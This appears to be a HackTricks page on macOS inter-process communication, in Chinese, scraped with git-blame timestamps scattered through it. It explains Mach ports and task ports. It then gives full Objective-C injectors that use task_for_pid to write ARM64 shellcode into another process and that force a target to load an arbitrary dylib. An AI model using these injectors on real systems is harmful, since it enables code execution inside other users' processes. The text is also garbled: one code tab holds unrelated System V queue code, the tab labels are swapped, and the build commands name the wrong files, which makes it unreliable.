hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md

1688 lines
60 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# macOS IPC - 进程间通信
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
2023-08-03 19:12:22 +00:00
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
2023-08-03 19:12:22 +00:00
## 通过端口进行Mach消息传递
Mach使用**任务task**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一对应**。
2023-08-03 19:12:22 +00:00
任务之间的通信通过Mach进程间通信IPC进行利用单向通信通道。**消息通过端口进行传输**,端口类似于由内核管理的**消息队列**。
2023-08-03 19:12:22 +00:00
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
* **接收权限**允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
* 拥有接收权限的**任务可以接收消息并创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口拥有接收权限**。
2023-08-03 19:12:22 +00:00
* **发送权限**,允许向端口发送消息。
* 发送权限可以进行**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三方任务。
2023-08-03 19:12:22 +00:00
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
* **死名称**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名称。
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三方任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
2023-08-03 19:12:22 +00:00
#### 步骤:
正如前面提到的,为了建立通信通道,涉及到**引导服务器**mac中的**launchd**)。
2023-08-03 19:12:22 +00:00
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供端口的服务名称和通过发送权限。
4. 任务**B**与**引导服务器**交互,执行服务名称的引导查找。如果成功,**服务器复制从任务A接收到的发送权限**并将其**传输给任务B**。
5. 获得发送权限后,任务**B**能够**构建消息**并将其**发送给任务A**。
2023-08-03 19:12:22 +00:00
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
然后Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时launchd会动态启动服务。新的工作流程如下
* 任务**B**为服务名称**发起引导查找**。
2023-08-03 19:12:22 +00:00
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
* 任务**A**(服务)执行**引导签入**。在这里,引导服务器创建一个发送权限,保留它,并将接收权限**传输给任务A**。
2023-08-03 19:12:22 +00:00
* launchd复制**发送权限并将其发送给任务B**。
然而,此过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
2023-08-03 19:12:22 +00:00
### 代码示例
请注意,**发送方**在分配一个端口后,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
2023-08-03 19:12:22 +00:00
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
2023-08-03 19:12:22 +00:00
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{% tab title="sender.c" %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MAX_TEXT 512
struct msgbuf {
long mtype;
char mtext[MAX_TEXT];
};
2023-08-03 19:12:22 +00:00
int main() {
int msgid;
struct msgbuf msg;
// Create a message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
perror("msgget failed");
exit(EXIT_FAILURE);
}
2023-08-03 19:12:22 +00:00
// Set the message type
msg.mtype = 1;
// Set the message text
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
2023-08-03 19:12:22 +00:00
// Send the message
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
perror("msgsnd failed");
exit(EXIT_FAILURE);
}
printf("Message sent: %s\n", msg.mtext);
2023-08-03 19:12:22 +00:00
return 0;
}
```
2023-08-03 19:12:22 +00:00
{% endtab %}
2023-08-03 19:12:22 +00:00
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
2023-08-03 19:12:22 +00:00
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
2023-08-03 19:12:22 +00:00
### 特权端口
* **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取有关系统的**信息**(例如`host_processor_info`)。
2023-08-03 19:12:22 +00:00
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
* 此外,为了调用**`kext_request`** API还需要具有其他授权**`com.apple.private.kext*`**这些授权仅提供给Apple二进制文件。
* **任务名称端口**_任务端口_的非特权版本。它引用任务但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
* **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**之间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
2023-08-03 19:12:22 +00:00
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**通常由Xcode用于调试。**公证**过程不允许将其用于生产版本。
* 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
* **Root可以访问未使用强化运行时编译**且不是来自Apple的应用程序的任务端口。
### 通过任务端口在线程中注入Shellcode
2023-08-03 19:12:22 +00:00
您可以从以下位置获取Shellcode
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
2023-08-03 19:12:22 +00:00
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
2023-08-03 19:12:22 +00:00
}
return 0;
}
```
{% tab title="entitlements.plist" %}权限清单.plist
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
2023-08-03 19:12:22 +00:00
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{% endtab %}
{% endtabs %}
**编译**之前的程序,并添加**权限**以能够使用相同的用户注入代码(如果不是,则需要使用**sudo**)。
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
2023-08-03 19:12:22 +00:00
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
2023-08-03 19:12:22 +00:00
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
2023-08-03 19:12:22 +00:00
task_t remoteTask;
2023-08-03 19:12:22 +00:00
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
2023-08-03 19:12:22 +00:00
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
2023-08-03 19:12:22 +00:00
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
2023-08-03 19:12:22 +00:00
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
2023-08-03 19:12:22 +00:00
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
2023-08-03 19:12:22 +00:00
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
2023-08-03 19:12:22 +00:00
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
2023-08-03 19:12:22 +00:00
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
2023-08-03 19:12:22 +00:00
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
2023-08-03 19:12:22 +00:00
const char* p = (const char*) remoteCode64;
2023-08-03 19:12:22 +00:00
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
2023-08-03 19:12:22 +00:00
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
2023-08-03 19:12:22 +00:00
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
2023-08-03 19:12:22 +00:00
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
2023-08-03 19:12:22 +00:00
inject(pid);
}
2023-08-03 19:12:22 +00:00
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### 通过任务端口在线程中进行Dylib注入
在 macOS 中,线程可以通过 Mach 或使用 posix `pthread` api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。
之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。
因此,为了改进线程,应该调用 `pthread_create_from_mach_thread` 来创建一个有效的 pthread。然后这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
你可以在(例如生成日志并监听它的示例 dylibs中找到示例 dylibs
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
2023-08-03 19:12:22 +00:00
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
2023-08-03 19:12:22 +00:00
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
2023-08-03 19:12:22 +00:00
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
2023-08-03 19:12:22 +00:00
task_t remoteTask;
struct stat buf;
2023-08-03 19:12:22 +00:00
// Check if the library exists
int rc = stat (lib, &buf);
2023-08-03 19:12:22 +00:00
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
2023-08-03 19:12:22 +00:00
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
2023-08-03 19:12:22 +00:00
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
2023-08-03 19:12:22 +00:00
// Patch shellcode
2023-08-03 19:12:22 +00:00
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
2023-08-03 19:12:22 +00:00
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
2023-08-03 19:12:22 +00:00
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
2023-08-03 19:12:22 +00:00
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
}
2023-08-03 19:12:22 +00:00
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
2023-08-03 19:12:22 +00:00
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
2023-08-03 19:12:22 +00:00
// 将 shellcode 写入分配的内存
kr = mach_vm_write(remoteTask, // 任务端口
remoteCode64, // 虚拟地址(目标)
(vm_address_t) injectedCode, // 源
0xa9); // 源的长度
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
return (-3);
}
2023-08-03 19:12:22 +00:00
// 设置分配的代码内存的权限
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
2023-08-03 19:12:22 +00:00
// 设置分配的堆栈内存的权限
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
2023-08-03 19:12:22 +00:00
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
2023-08-03 19:12:22 +00:00
// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
2023-08-03 19:12:22 +00:00
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
2023-08-03 19:12:22 +00:00
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8; // 需要 16 字节对齐
const char* p = (const char*) remoteCode64;
2023-08-03 19:12:22 +00:00
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
2023-08-03 19:12:22 +00:00
printf("远程堆栈 64 0x%llx远程代码为 %p\n", remoteStack64, p);
2023-08-03 19:12:22 +00:00
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
2023-08-03 19:12:22 +00:00
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
return (-3);
}
2023-08-03 19:12:22 +00:00
return (0);
}
int main(int argc, const char * argv[])
{
2023-08-03 19:12:22 +00:00
if (argc < 3)
{
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_:磁盘上的 dylib 路径\n");
2023-08-03 19:12:22 +00:00
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
2023-08-03 19:12:22 +00:00
int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
2023-08-03 19:12:22 +00:00
else
{
fprintf(stderr, "找不到 dylib\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### 通过任务端口进行线程劫持 <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
在这种技术中,进程的一个线程被劫持:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
## XPC
2023-08-03 19:12:22 +00:00
### 基本信息
